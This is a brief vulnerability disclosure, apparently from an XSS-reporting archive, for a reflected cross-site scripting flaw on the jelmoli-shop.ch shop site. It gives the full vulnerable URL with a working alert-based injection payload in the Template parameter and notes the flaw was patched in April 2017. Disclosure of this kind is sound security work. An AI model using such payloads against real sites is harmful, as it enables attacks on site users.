jelmoli-shop.ch XSS vulnerability

Vulnerable URL: http://www.jelmoli-shop.ch/is-bin/INTERSHOP.enfinity/WFS/Jelmoli-JelmoliCh-Site/deCH/-/CHF/JVViewStatic-Start?Template=faqsubs/payment/possibilities=Service=11300=x';alert/XSSPOSED/;// Details: Description| Value ---|--- Patched:| Yes, at 03.04.2017 Latest check for patch:|...